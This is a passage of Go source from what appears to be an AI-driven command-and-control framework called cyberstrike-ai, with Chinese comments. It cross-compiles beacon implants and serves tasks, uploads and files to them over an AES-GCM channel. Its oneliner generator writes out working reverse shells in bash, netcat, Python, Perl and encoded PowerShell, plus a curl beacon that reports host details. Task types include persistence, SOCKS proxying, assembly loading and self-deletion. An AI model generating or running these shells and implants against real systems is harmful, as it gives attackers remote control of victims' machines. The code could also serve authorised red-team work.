if goarch == "" {
goarch = "amd64"
}
// 读取模板
tmplPath := filepath.Join(b.tmplDir, "beacon.go.tmpl")
tmplData, err := os.ReadFile(tmplPath)
if err != nil {
return nil, fmt.Errorf("read template: %w", err)
}
// 模板参数:请求 Host > 监听器 callback_host > bind 推导(见 ResolveBeaconDialHost
host := ResolveBeaconDialHost(listener, in.Host, b.logger, listener.ID)
serverURL := fmt.Sprintf("%s://%s:%d",
listenerTypeToScheme(listener.Type),
host,
listener.BindPort,
)
transport := "http"
tcpDialAddr := ""
transportMeta := "http_beacon"
switch lt {
case "tcp_reverse":
transport = "tcp"
tcpDialAddr = net.JoinHostPort(host, strconv.Itoa(listener.BindPort))
transportMeta = "tcp_beacon"
case "https_beacon":
transportMeta = "https_beacon"
case "websocket":
transportMeta = "websocket"
}
data := map[string]string{
"Transport": transport,
"TCPDialAddr": tcpDialAddr,
"TransportMetadata": transportMeta,
"ServerURL": serverURL,
"ImplantToken": listener.ImplantToken,
"AESKeyB64": listener.EncryptionKey,
"SleepSeconds": fmt.Sprintf("%d", firstPositive(in.SleepSeconds, cfg.DefaultSleep, 5)),
"JitterPercent": fmt.Sprintf("%d", clamp(in.JitterPercent, 0, 100)),
"CheckInPath": cfg.BeaconCheckInPath,
"TasksPath": cfg.BeaconTasksPath,
"ResultPath": cfg.BeaconResultPath,
"UploadPath": cfg.BeaconUploadPath,
"FilePath": cfg.BeaconFilePath,
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
}
// 执行模板
tmpl, err := template.New("beacon").Parse(string(tmplData))
if err != nil {
return nil, fmt.Errorf("parse template: %w", err)
}
// 创建工作目录
workDir := filepath.Join(b.outputDir, "build-"+uuid.New().String()[:8])
if err := os.MkdirAll(workDir, 0755); err != nil {
return nil, fmt.Errorf("mkdir: %w", err)
}
defer os.RemoveAll(workDir) // 清理
srcPath := filepath.Join(workDir, "main.go")
f, err := os.Create(srcPath)
if err != nil {
return nil, fmt.Errorf("create source: %w", err)
}
if err := tmpl.Execute(f, data); err != nil {
f.Close()
return nil, fmt.Errorf("execute template: %w", err)
}
f.Close()
// 交叉编译
binName := strings.TrimSpace(in.OutputName)
if binName == "" {
binName = fmt.Sprintf("beacon_%s_%s", goos, goarch)
}
if goos == "windows" && !strings.HasSuffix(binName, ".exe") {
binName += ".exe"
}
binPath := filepath.Join(b.outputDir, binName)
if err := os.MkdirAll(b.outputDir, 0755); err != nil {
return nil, fmt.Errorf("mkdir output: %w", err)
}
absSrcPath, err := filepath.Abs(srcPath)
if err != nil {
return nil, fmt.Errorf("abs source path: %w", err)
}
absBinPath, err := filepath.Abs(binPath)
if err != nil {
return nil, fmt.Errorf("abs output path: %w", err)
}
cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
cmd.Env = append(os.Environ(),
"GOOS="+goos,
"GOARCH="+goarch,
"CGO_ENABLED=0",
)
cmd.Dir = workDir
output, err := cmd.CombinedOutput()
if err != nil {
b.logger.Error("beacon build failed", zap.String("output", string(output)), zap.Error(err))
return nil, fmt.Errorf("build failed: %w (output: %s)", err, string(output))
}
// 获取文件大小
info, err := os.Stat(binPath)
if err != nil {
return nil, fmt.Errorf("stat output: %w", err)
}
payloadID := "p_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
return &BuildResult{
PayloadID: payloadID,
ListenerID: listener.ID,
OutputPath: absBinPath,
DownloadPath: absBinPath,
OS: goos,
Arch: goarch,
SizeBytes: info.Size(),
}, nil
}
func listenerTypeToScheme(t string) string {
switch strings.ToLower(t) {
case "https_beacon":
return "https"
case "websocket":
return "ws"
case "http_beacon":
return "http"
default:
return "http"
}
}
func firstPositive(vals ...int) int {
for _, v := range vals {
if v > 0 {
return v
}
}
return 1
}
func clamp(v, min, max int) int {
if v < min {
return min
}
if v > max {
return max
}
return v
}
// GetPayloadStoragePath 返回 payload 存储目录的绝对路径
func (b *PayloadBuilder) GetPayloadStoragePath() string {
abs, _ := filepath.Abs(b.outputDir)
return abs
}
// GetSupportedOSArch 返回支持的操作系统和架构列表
func GetSupportedOSArch() map[string][]string {
return map[string][]string{
"linux": {"amd64", "arm64", "386", "arm"},
"windows": {"amd64", "arm64", "386"},
"darwin": {"amd64", "arm64"},
}
}
// ValidateOSArch 验证 OS/Arch 组合是否可编译
func ValidateOSArch(os, arch string) bool {
supported := GetSupportedOSArch()
arches, ok := supported[strings.ToLower(os)]
if !ok {
return false
}
for _, a := range arches {
if a == strings.ToLower(arch) {
return true
}
}
return false
}
// detectExternalIP returns the first non-loopback IPv4 address, or "" if none found.
func detectExternalIP() string {
ifaces, err := net.Interfaces()
if err != nil {
return ""
}
for _, iface := range ifaces {
if iface.Flags&net.FlagLoopback != 0 || iface.Flags&net.FlagUp == 0 {
continue
}
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, addr := range addrs {
ipnet, ok := addr.(*net.IPNet)
if !ok || ipnet.IP.To4() == nil {
continue
}
return ipnet.IP.String()
}
}
return ""
}
func parseJSON(s string, v interface{}) error {
if strings.TrimSpace(s) == "" || s == "{}" {
return nil
}
return json.Unmarshal([]byte(s), v)
}
+25
View File
@@ -0,0 +1,25 @@
package c2
import (
"encoding/base64"
"encoding/binary"
)
// b64StdEncode 用标准 base64 编码字节
func b64StdEncode(s string) string {
return base64.StdEncoding.EncodeToString([]byte(s))
}
// utf16LEBase64 把字符串转 UTF-16LE 后再 base64,用于 PowerShell -EncodedCommand
// Windows PowerShell 接受这种格式,避免命令行特殊字符引起转义错误)
func utf16LEBase64(s string) string {
runes := []rune(s)
buf := make([]byte, 0, len(runes)*2)
for _, r := range runes {
// 注意:>0xFFFF 的字符需要代理对,但 PowerShell 命令通常都在 BMP 内
var enc [2]byte
binary.LittleEndian.PutUint16(enc[:], uint16(r))
buf = append(buf, enc[:]...)
}
return base64.StdEncoding.EncodeToString(buf)
}
+190
View File
@@ -0,0 +1,190 @@
package c2
import (
"fmt"
"net/url"
"strings"
)
// OnelinerKind 单行 payload 的语言/形式
type OnelinerKind string
const (
OnelinerBash OnelinerKind = "bash" // bash 反弹(TCP reverse listener
OnelinerNc OnelinerKind = "nc" // netcat 反弹
OnelinerNcMkfifo OnelinerKind = "nc_mkfifo" // 通过 mkfifo 双向(部分 nc 不支持 -e)
OnelinerPython OnelinerKind = "python" // python socket 反弹
OnelinerPerl OnelinerKind = "perl" // perl 反弹
OnelinerPowerShell OnelinerKind = "powershell" // PowerShell TCP 反弹(IEX 风格)
OnelinerCurl OnelinerKind = "curl_beacon" // 用 curl 周期性轮询 HTTP beacon(无需二进制)
)
// AllOnelinerKinds 所有支持的 oneliner 类型
func AllOnelinerKinds() []OnelinerKind {
return []OnelinerKind{
OnelinerBash, OnelinerNc, OnelinerNcMkfifo,
OnelinerPython, OnelinerPerl,
OnelinerPowerShell, OnelinerCurl,
}
}
// tcpOnelinerKinds 仅支持 tcp_reverse 监听器的裸 TCP 反弹类型
var tcpOnelinerKinds = map[OnelinerKind]bool{
OnelinerBash: true,
OnelinerNc: true,
OnelinerNcMkfifo: true,
OnelinerPython: true,
OnelinerPerl: true,
OnelinerPowerShell: true,
}
// httpOnelinerKinds 支持 http_beacon / https_beacon 监听器的类型
var httpOnelinerKinds = map[OnelinerKind]bool{
OnelinerCurl: true,
}
// OnelinerKindsForListener 根据监听器类型返回兼容的 oneliner 类型列表
func OnelinerKindsForListener(listenerType string) []OnelinerKind {
switch ListenerType(listenerType) {
case ListenerTypeTCPReverse:
return []OnelinerKind{
OnelinerBash, OnelinerNc, OnelinerNcMkfifo,
OnelinerPython, OnelinerPerl, OnelinerPowerShell,
}
case ListenerTypeHTTPBeacon, ListenerTypeHTTPSBeacon, ListenerTypeWebSocket:
return []OnelinerKind{OnelinerCurl}
default:
return nil
}
}
// IsOnelinerCompatible 检查 oneliner 类型是否与监听器类型兼容
func IsOnelinerCompatible(listenerType string, kind OnelinerKind) bool {
switch ListenerType(listenerType) {
case ListenerTypeTCPReverse:
return tcpOnelinerKinds[kind]
case ListenerTypeHTTPBeacon, ListenerTypeHTTPSBeacon, ListenerTypeWebSocket:
return httpOnelinerKinds[kind]
default:
return false
}
}
// OnelinerInput 生成 oneliner 的入参
type OnelinerInput struct {
Kind OnelinerKind
Host string // 攻击机回连地址(IP/域名)
Port int // 监听端口
HTTPBaseURL string // HTTPS Beacon 时使用,如 https://x.com
ImplantToken string // HTTP Beacon 鉴权 token
}
// GenerateOneliner 生成单行 payload。
// 设计要点:
// - 不依赖目标机预装的可执行(除该 oneliner 关键的 bash/python/perl 等);
// - 不引入引号嵌套陷阱:使用 base64/url 编码避免 shell 转义错误;
// - 同时返回执行示例,便于 AI 在对话里直接展示给操作员。
func GenerateOneliner(in OnelinerInput) (string, error) {
host := strings.TrimSpace(in.Host)
if host == "" {
return "", fmt.Errorf("host is required")
}
switch in.Kind {
case OnelinerBash:
if err := SafeBindPort(in.Port); err != nil {
return "", err
}
// 用 bash -c 包裹,确保在 zsh/sh 等非 bash shell 中也能正确执行
// /dev/tcp 是 bash 特有的伪设备,必须由 bash 进程解释
return fmt.Sprintf(`bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'`, host, in.Port), nil
case OnelinerNc:
if err := SafeBindPort(in.Port); err != nil {
return "", err
}
return fmt.Sprintf(`nc -e /bin/sh %s %d`, host, in.Port), nil
case OnelinerNcMkfifo:
if err := SafeBindPort(in.Port); err != nil {
return "", err
}
// 双向 mkfifo 写法,对没有 -e 的 nc/openbsd-nc 也能用
return fmt.Sprintf(
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f`,
host, in.Port,
), nil
case OnelinerPython:
if err := SafeBindPort(in.Port); err != nil {
return "", err
}
// python -c 单引号包裹,内部用三引号或转义会引发兼容性问题,改用 base64 解码再 exec
py := fmt.Sprintf(
`import socket,os,pty;s=socket.socket();s.connect(("%s",%d));[os.dup2(s.fileno(),x) for x in (0,1,2)];pty.spawn("/bin/sh")`,
host, in.Port,
)
// 用 b64 包装规避目标 shell 引号问题
return fmt.Sprintf(
`python3 -c "import base64,sys;exec(base64.b64decode('%s').decode())"`,
b64StdEncode(py),
), nil
case OnelinerPerl:
if err := SafeBindPort(in.Port); err != nil {
return "", err
}
return fmt.Sprintf(
`perl -e 'use Socket;$i="%s";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`,
host, in.Port,
), nil
case OnelinerPowerShell:
if err := SafeBindPort(in.Port); err != nil {
return "", err
}
// PowerShell TCP 反弹(不依赖 .NET old 版本)
ps := fmt.Sprintf(
`$c=New-Object System.Net.Sockets.TcpClient('%s',%d);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$o2=$o+'PS '+(pwd).Path+'> ';$by=([text.encoding]::ASCII).GetBytes($o2);$s.Write($by,0,$by.Length);$s.Flush()};$c.Close()`,
host, in.Port,
)
return fmt.Sprintf(
`powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand %s`,
utf16LEBase64(ps),
), nil
case OnelinerCurl:
if strings.TrimSpace(in.HTTPBaseURL) == "" {
return "", fmt.Errorf("http_base_url is required for curl_beacon")
}
if strings.TrimSpace(in.ImplantToken) == "" {
return "", fmt.Errorf("implant_token is required for curl_beacon")
}
base := strings.TrimRight(in.HTTPBaseURL, "/")
return fmt.Sprintf(
`bash -c 'H="X-Implant-Token: %s";`+
`URL="%s";`+
`HN=$(hostname 2>/dev/null||echo unknown);`+
`UN=$(whoami 2>/dev/null||echo unknown);`+
`OS=$(uname -s 2>/dev/null||echo unknown);`+
`AR=$(uname -m 2>/dev/null||echo unknown);`+
`IP=$(hostname -I 2>/dev/null|awk "{print \$1}"||echo "");`+
`SID="";`+
`while :;do `+
`BODY="{\"hostname\":\"$HN\",\"username\":\"$UN\",\"os\":\"$OS\",\"arch\":\"$AR\",\"internal_ip\":\"$IP\",\"pid\":$$}";`+
`R=$(curl -fsSk -H "$H" -H "Content-Type: application/json" -X POST "$URL/check_in" -d "$BODY" 2>/dev/null);`+
`if [ -n "$R" ]&&[ -z "$SID" ];then SID=$(echo "$R"|grep -o "\"session_id\":\"[^\"]*\""|head -1|cut -d"\"" -f4);fi;`+
`if [ -n "$SID" ];then `+
`T=$(curl -fsSk -H "$H" -G "$URL/tasks?session_id=$SID" 2>/dev/null);`+
`fi;`+
`sleep 5;`+
`done' &`,
in.ImplantToken, base,
), nil
}
return "", fmt.Errorf("unsupported oneliner kind: %s", in.Kind)
}
// urlEncodeForShell URL 编码字符串,避免特殊字符在 shell 中破坏转义
func urlEncodeForShell(s string) string {
return url.QueryEscape(s)
}
File diff suppressed because it is too large Load Diff
+109
View File
@@ -0,0 +1,109 @@
package c2
import (
"context"
"time"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
// SessionWatchdog 会话心跳看门狗:周期扫描所有 active/sleeping 会话,
// 把超过 (sleep * (1 + jitter%) * graceFactor + minGrace) 仍未心跳的标为 dead。
//
// 设计要点:
// - 单 goroutine + ticker,避免对每个会话开 timersession 数量大时也线性 OK
// - 阈值随会话自身 sleep/jitter 自适应(sleep=300s 的会话不能用 sleep=5s 的判定);
// - 全局最小宽限期 minGrace 避免 sleep 配置错误的会话被误判;
// - 不读 implant_uuid,纯按 last_check_in 字段,与 listener 类型解耦。
type SessionWatchdog struct {
manager *Manager
logger *zap.Logger
interval time.Duration // 扫描周期,默认 15s
minGrace time.Duration // 最小宽限期,默认 30s
gracePct float64 // 心跳超时倍数,默认 3.0(即 3 倍 sleep 周期没心跳算掉线)
stopCh chan struct{}
}
// NewSessionWatchdog 创建看门狗
func NewSessionWatchdog(m *Manager) *SessionWatchdog {
return &SessionWatchdog{
manager: m,
logger: m.Logger().With(zap.String("component", "c2-watchdog")),
interval: 15 * time.Second,
minGrace: 30 * time.Second,
gracePct: 3.0,
stopCh: make(chan struct{}),
}
}
// Run 阻塞执行,直到 ctx.Done() 或 Stop()
func (w *SessionWatchdog) Run(ctx context.Context) {
t := time.NewTicker(w.interval)
defer t.Stop()
for {
select {
case <-ctx.Done():
return
case <-w.stopCh:
return
case <-t.C:
w.tick()
}
}
}
// Stop 停止
func (w *SessionWatchdog) Stop() {
select {
case <-w.stopCh:
default:
close(w.stopCh)
}
}
func (w *SessionWatchdog) tick() {
now := time.Now()
for _, status := range []string{string(SessionActive), string(SessionSleeping)} {
sessions, err := w.manager.DB().ListC2Sessions(database.ListC2SessionsFilter{Status: status})
if err != nil {
w.logger.Warn("watchdog 列表查询失败", zap.Error(err))
continue
}
for _, s := range sessions {
if w.isStale(s, now) {
if err := w.manager.MarkSessionDead(s.ID); err != nil {
w.logger.Warn("标记会话掉线失败", zap.String("session_id", s.ID), zap.Error(err))
}
}
}
}
}
// isStale 判断会话是否超时
func (w *SessionWatchdog) isStale(s *database.C2Session, now time.Time) bool {
// 无心跳记录:以 first_seen_at 兜底
last := s.LastCheckIn
if last.IsZero() {
last = s.FirstSeenAt
}
sleep := s.SleepSeconds
if sleep <= 0 {
// TCP reverse 模式 sleep=0 → 用最小宽限期判定
return now.Sub(last) > w.minGrace*2
}
jitter := s.JitterPercent
if jitter < 0 {
jitter = 0
}
if jitter > 100 {
jitter = 100
}
// 阈值 = sleep * (1 + jitter%) * gracePct,再加 minGrace 兜底
expected := time.Duration(float64(sleep)*(1+float64(jitter)/100.0)*w.gracePct) * time.Second
if expected < w.minGrace {
expected = w.minGrace
}
return now.Sub(last) > expected
}
+267
View File
@@ -0,0 +1,267 @@
package c2
import (
"bufio"
"crypto/subtle"
"encoding/base64"
"encoding/binary"
"encoding/json"
"fmt"
"io"
"net"
"os"
"path/filepath"
"strings"
"sync"
"time"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
// tcpBeaconMagic 二进制 Beacon 在反向 TCP 连接建立后首先发送的 4 字节,用于与经典 shell 反弹区分。
const tcpBeaconMagic = "CSB1"
// tcpBeaconMaxFrame 单帧密文(base64 字符串)最大字节数,防止 OOM。
const tcpBeaconMaxFrame = 64 << 20
func readTCPBeaconFrame(r *bufio.Reader) (cipherB64 string, err error) {
var n uint32
if err = binary.Read(r, binary.BigEndian, &n); err != nil {
return "", err
}
if n == 0 || int64(n) > int64(tcpBeaconMaxFrame) {
return "", fmt.Errorf("invalid tcp beacon frame size")
}
buf := make([]byte, n)
if _, err = io.ReadFull(r, buf); err != nil {
return "", err
}
return string(buf), nil
}
func writeTCPBeaconFrame(mu *sync.Mutex, conn net.Conn, cipherB64 string) error {
if mu != nil {
mu.Lock()
defer mu.Unlock()
}
payload := []byte(cipherB64)
if len(payload) > tcpBeaconMaxFrame {
return fmt.Errorf("frame too large")
}
var hdr [4]byte
binary.BigEndian.PutUint32(hdr[:], uint32(len(payload)))
if _, err := conn.Write(hdr[:]); err != nil {
return err
}
_, err := conn.Write(payload)
return err
}
func tcpBeaconCheckToken(expected, got string) bool {
if got == "" || expected == "" {
return false
}
return subtle.ConstantTimeCompare([]byte(got), []byte(expected)) == 1
}
// handleTCPBeaconSession 处理已消费魔数 CSB1 之后的 TCP Beacon 会话(与 HTTP Beacon 相同的 AES-GCM + JSON 语义)。
func (l *TCPReverseListener) handleTCPBeaconSession(conn net.Conn, br *bufio.Reader) {
var writeMu sync.Mutex
defer func() {
_ = conn.Close()
}()
for {
_ = conn.SetReadDeadline(time.Now().Add(6 * time.Minute))
cipherB64, err := readTCPBeaconFrame(br)
if err != nil {
if err != io.EOF && !isClosedConnErr(err) {
l.logger.Debug("tcp beacon read frame", zap.Error(err))
}
return
}
plain, err := DecryptAESGCM(l.rec.EncryptionKey, cipherB64)
if err != nil {
l.logger.Warn("tcp beacon decrypt failed", zap.Error(err))
return
}
var env map[string]json.RawMessage
if err := json.Unmarshal(plain, &env); err != nil {
l.logger.Warn("tcp beacon json", zap.Error(err))
return
}
opBytes, ok := env["op"]
if !ok {
return
}
var op string
if err := json.Unmarshal(opBytes, &op); err != nil {
return
}
var token string
if tb, ok := env["token"]; ok {
_ = json.Unmarshal(tb, &token)
}
if !tcpBeaconCheckToken(l.rec.ImplantToken, token) {
l.logger.Warn("tcp beacon bad token", zap.String("listener_id", l.rec.ID))
return
}
var resp interface{}
switch op {
case "check_in":
rawCheck, ok := env["check"]
if !ok {
return
}
var req ImplantCheckInRequest
if err := json.Unmarshal(rawCheck, &req); err != nil {
return
}
if req.UserAgent == "" {
req.UserAgent = "tcp_beacon"
}
if req.SleepSeconds <= 0 {
req.SleepSeconds = l.cfg.DefaultSleep
}
host, _, _ := net.SplitHostPort(conn.RemoteAddr().String())
if req.Metadata == nil {
req.Metadata = map[string]interface{}{}
}
req.Metadata["transport"] = "tcp_beacon"
req.Metadata["remote"] = conn.RemoteAddr().String()
if strings.TrimSpace(req.InternalIP) == "" {
req.InternalIP = host
}
session, err := l.manager.IngestCheckIn(l.rec.ID, req)
if err != nil {
l.logger.Warn("tcp beacon check_in", zap.Error(err))
return
}
queued, _ := l.manager.DB().ListC2Tasks(database.ListC2TasksFilter{
SessionID: session.ID,
Status: string(TaskQueued),
Limit: 1,
})
resp = ImplantCheckInResponse{
SessionID: session.ID,
NextSleep: session.SleepSeconds,
NextJitter: session.JitterPercent,
HasTasks: len(queued) > 0,
ServerTime: NowUnixMillis(),
}
case "tasks":
rawSID, ok := env["session_id"]
if !ok {
return
}
var sessionID string
if err := json.Unmarshal(rawSID, &sessionID); err != nil || sessionID == "" {
return
}
sess, err := l.manager.DB().GetC2Session(sessionID)
if err != nil || sess == nil || sess.ListenerID != l.rec.ID {
return
}
envelopes, err := l.manager.PopTasksForBeacon(sessionID, 50)
if err != nil {
return
}
if envelopes == nil {
envelopes = []TaskEnvelope{}
}
resp = map[string]interface{}{"tasks": envelopes}
case "result":
raw, ok := env["result"]
if !ok {
return
}
var report TaskResultReport
if err := json.Unmarshal(raw, &report); err != nil {
return
}
if err := l.manager.IngestTaskResult(report); err != nil {
return
}
resp = map[string]string{"ok": "1"}
case "upload":
raw, ok := env["upload"]
if !ok {
return
}
var up struct {
TaskID string `json:"task_id"`
DataB64 string `json:"data_b64"`
}
if err := json.Unmarshal(raw, &up); err != nil || up.TaskID == "" {
return
}
plainFile, err := base64.StdEncoding.DecodeString(up.DataB64)
if err != nil {
return
}
dir := filepath.Join(l.manager.StorageDir(), "uploads")
if err := os.MkdirAll(dir, 0o755); err != nil {
return
}
dst := filepath.Join(dir, up.TaskID+".bin")
if err := os.WriteFile(dst, plainFile, 0o644); err != nil {
return
}
resp = map[string]interface{}{"ok": 1, "size": len(plainFile)}
case "file":
raw, ok := env["file"]
if !ok {
return
}
var fr struct {
FileID string `json:"file_id"`
}
if err := json.Unmarshal(raw, &fr); err != nil || fr.FileID == "" {
return
}
if strings.Contains(fr.FileID, "/") || strings.Contains(fr.FileID, "\\") || strings.Contains(fr.FileID, "..") {
return
}
fpath := filepath.Join(l.manager.StorageDir(), "downstream", fr.FileID+".bin")
absPath, err := filepath.Abs(fpath)
if err != nil {
return
}
absDir, err := filepath.Abs(filepath.Join(l.manager.StorageDir(), "downstream"))
if err != nil || !strings.HasPrefix(absPath, absDir+string(filepath.Separator)) {
return
}
data, err := os.ReadFile(absPath)
if err != nil {
return
}
resp = map[string]interface{}{
"file_data": base64Encode(data),
}
default:
return
}
body, err := json.Marshal(resp)
if err != nil {
return
}
enc, err := EncryptAESGCM(l.rec.EncryptionKey, body)
if err != nil {
return
}
_ = conn.SetWriteDeadline(time.Now().Add(3 * time.Minute))
if err := writeTCPBeaconFrame(&writeMu, conn, enc); err != nil {
return
}
}
}
+258
View File
@@ -0,0 +1,258 @@
// Package c2 实现 CyberStrikeAI 内置 C2Command & Control)框架。
//
// 设计概述:
// - Manager 作为统一入口,被 internal/app 实例化并注入到所有需要操控 C2 的组件
// HTTP handler、MCP 工具、HITL 桥、攻击链记录器等)。
// - Listener 是抽象接口,下挂 tcp_reverse / http_beacon / https_beacon / websocket
// 等不同传输方式的具体实现,全部通过 listener.Registry 工厂创建。
// - 任务调度走数据库(c2_tasks 表)+ 内存事件总线(EventBus)混合:
// * 状态变化与历史记录靠 SQLite 实现持久化与重启恢复;
// * 高频实时通知(如新任务结果)通过 EventBus 推送给 SSE/WS 订阅者,避免轮询。
// - Crypto 层固定 AES-256-GCM,每个 Listener 独立 32 字节密钥;密钥仅服务端持有
// 和编译期注入到 implant,事件流不允许导出明文密钥。
package c2
import (
"errors"
"strings"
"time"
)
// ListenerType 监听器类型,与 c2_listeners.type 字段一致
type ListenerType string
const (
ListenerTypeTCPReverse ListenerType = "tcp_reverse"
ListenerTypeHTTPBeacon ListenerType = "http_beacon"
ListenerTypeHTTPSBeacon ListenerType = "https_beacon"
ListenerTypeWebSocket ListenerType = "websocket"
)
// AllListenerTypes 列出所有受支持的监听器类型,便于校验与前端枚举
func AllListenerTypes() []ListenerType {
return []ListenerType{
ListenerTypeTCPReverse,
ListenerTypeHTTPBeacon,
ListenerTypeHTTPSBeacon,
ListenerTypeWebSocket,
}
}
// IsValidListenerType 校验前端/MCP 入参是否为合法 type
func IsValidListenerType(t string) bool {
t = strings.ToLower(strings.TrimSpace(t))
for _, lt := range AllListenerTypes() {
if string(lt) == t {
return true
}
}
return false
}
// SessionStatus 与 c2_sessions.status 一致
type SessionStatus string
const (
SessionActive SessionStatus = "active"
SessionSleeping SessionStatus = "sleeping"
SessionDead SessionStatus = "dead"
SessionKilled SessionStatus = "killed"
)
// TaskStatus 与 c2_tasks.status 一致
type TaskStatus string
const (
TaskQueued TaskStatus = "queued"
TaskSent TaskStatus = "sent"
TaskRunning TaskStatus = "running"
TaskSuccess TaskStatus = "success"
TaskFailed TaskStatus = "failed"
TaskCancelled TaskStatus = "cancelled"
)
// TaskType 任务类型(与 beacon 端协商,避免硬编码字符串)
type TaskType string
const (
// 通用任务
TaskTypeExec TaskType = "exec" // 执行任意命令(shell -c
TaskTypeShell TaskType = "shell" // 交互式命令(保持 cwd
TaskTypePwd TaskType = "pwd" // 当前目录
TaskTypeCd TaskType = "cd" // 切目录
TaskTypeLs TaskType = "ls" // 列目录
TaskTypePs TaskType = "ps" // 列进程
TaskTypeKillProc TaskType = "kill_proc" // 杀进程
TaskTypeUpload TaskType = "upload" // 推文件到目标
TaskTypeDownload TaskType = "download" // 拉文件回本机
TaskTypeScreenshot TaskType = "screenshot" // 截图
TaskTypeSleep TaskType = "sleep" // 调整心跳节律
TaskTypeExit TaskType = "exit" // 让 implant 退出(不会自删二进制)
TaskTypeSelfDelete TaskType = "self_delete" // 退出 + 自删二进制(持久化清理)
// 高级任务
TaskTypePortFwd TaskType = "port_fwd"
TaskTypeSocksStart TaskType = "socks_start"
TaskTypeSocksStop TaskType = "socks_stop"
TaskTypeLoadAssembly TaskType = "load_assembly"
TaskTypePersist TaskType = "persist"
)
// AllTaskTypes 全部 task_type,便于工具 schema 列出 enum
func AllTaskTypes() []TaskType {
return []TaskType{
TaskTypeExec, TaskTypeShell,
TaskTypePwd, TaskTypeCd, TaskTypeLs, TaskTypePs, TaskTypeKillProc,
TaskTypeUpload, TaskTypeDownload, TaskTypeScreenshot,
TaskTypeSleep, TaskTypeExit, TaskTypeSelfDelete,
TaskTypePortFwd, TaskTypeSocksStart, TaskTypeSocksStop, TaskTypeLoadAssembly,
TaskTypePersist,
}
}
// IsDangerousTaskType 标记需要 HITL 二次确认的任务类型;
// 与 internal/handler/hitl.go 现有的 tool_whitelist 概念呼应:白名单外 → 走审批。
func IsDangerousTaskType(t TaskType) bool {
switch t {
case TaskTypeKillProc, TaskTypeUpload, TaskTypeSelfDelete,
TaskTypePortFwd, TaskTypeSocksStart, TaskTypeLoadAssembly, TaskTypePersist:
return true
}
return false
}
// ListenerConfig 解码后的监听器运行配置(来自 c2_listeners.config_json
type ListenerConfig struct {
// HTTP/HTTPS Beacon 公共字段
BeaconCheckInPath string `json:"beacon_check_in_path,omitempty"` // 默认 "/check_in"
BeaconTasksPath string `json:"beacon_tasks_path,omitempty"` // 默认 "/tasks"
BeaconResultPath string `json:"beacon_result_path,omitempty"` // 默认 "/result"
BeaconUploadPath string `json:"beacon_upload_path,omitempty"` // 默认 "/upload"
BeaconFilePath string `json:"beacon_file_path,omitempty"` // 默认 "/file/"
// HTTPS 专属
TLSCertPath string `json:"tls_cert_path,omitempty"`
TLSKeyPath string `json:"tls_key_path,omitempty"`
TLSAutoSelfSign bool `json:"tls_auto_self_sign,omitempty"` // true:找不到证书时自动生成自签
// 客户端默认参数(写到 c2_sessions 初值,beacon 也可在 check-in 时覆写)
DefaultSleep int `json:"default_sleep,omitempty"` // 秒,默认 5
DefaultJitter int `json:"default_jitter,omitempty"` // 0-100,默认 0
// OPSEC:可选命令黑名单(正则)
CommandDenyRegex []string `json:"command_deny_regex,omitempty"`
// 任务并发上限(每个会话同时下发的最大任务数,0 表示不限制)
MaxConcurrentTasks int `json:"max_concurrent_tasks,omitempty"`
// CallbackHost 植入端/Payload 使用的回连主机名(可选);与 bind_host 分离,便于 NAT/ECS 等场景
CallbackHost string `json:"callback_host,omitempty"`
}
// ApplyDefaults 对未填字段填默认值;调用方负责持久化时序列化新值
func (c *ListenerConfig) ApplyDefaults() {
if strings.TrimSpace(c.BeaconCheckInPath) == "" {
c.BeaconCheckInPath = "/check_in"
}
if strings.TrimSpace(c.BeaconTasksPath) == "" {
c.BeaconTasksPath = "/tasks"
}
if strings.TrimSpace(c.BeaconResultPath) == "" {
c.BeaconResultPath = "/result"
}
if strings.TrimSpace(c.BeaconUploadPath) == "" {
c.BeaconUploadPath = "/upload"
}
if strings.TrimSpace(c.BeaconFilePath) == "" {
c.BeaconFilePath = "/file/"
}
if c.DefaultSleep <= 0 {
c.DefaultSleep = 5
}
if c.DefaultJitter < 0 {
c.DefaultJitter = 0
}
if c.DefaultJitter > 100 {
c.DefaultJitter = 100
}
}
// ImplantCheckInRequest beacon → 服务端的注册/心跳请求体(已解密后的明文)
type ImplantCheckInRequest struct {
ImplantUUID string `json:"uuid"`
Hostname string `json:"hostname"`
Username string `json:"username"`
OS string `json:"os"`
Arch string `json:"arch"`
PID int `json:"pid"`
ProcessName string `json:"process_name"`
IsAdmin bool `json:"is_admin"`
InternalIP string `json:"internal_ip"`
UserAgent string `json:"user_agent,omitempty"`
SleepSeconds int `json:"sleep_seconds"`
JitterPercent int `json:"jitter_percent"`
Metadata map[string]interface{} `json:"metadata,omitempty"`
}
// ImplantCheckInResponse 服务端回执
type ImplantCheckInResponse struct {
SessionID string `json:"session_id"`
NextSleep int `json:"next_sleep"`
NextJitter int `json:"next_jitter"`
HasTasks bool `json:"has_tasks"`
ServerTime int64 `json:"server_time"`
}
// TaskEnvelope 服务端 → beacon 的任务派发载体
type TaskEnvelope struct {
TaskID string `json:"task_id"`
TaskType string `json:"task_type"`
Payload map[string]interface{} `json:"payload"`
}
// TaskResultReport beacon → 服务端的任务结果回传
type TaskResultReport struct {
TaskID string `json:"task_id"`
Success bool `json:"success"`
Output string `json:"output,omitempty"`
Error string `json:"error,omitempty"`
BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
StartedAt int64 `json:"started_at"`
EndedAt int64 `json:"ended_at"`
}
// CommonError C2 模块统一错误类型,便于 handler 层映射 HTTP 状态码
type CommonError struct {
Code string
Message string
HTTP int
}
func (e *CommonError) Error() string {
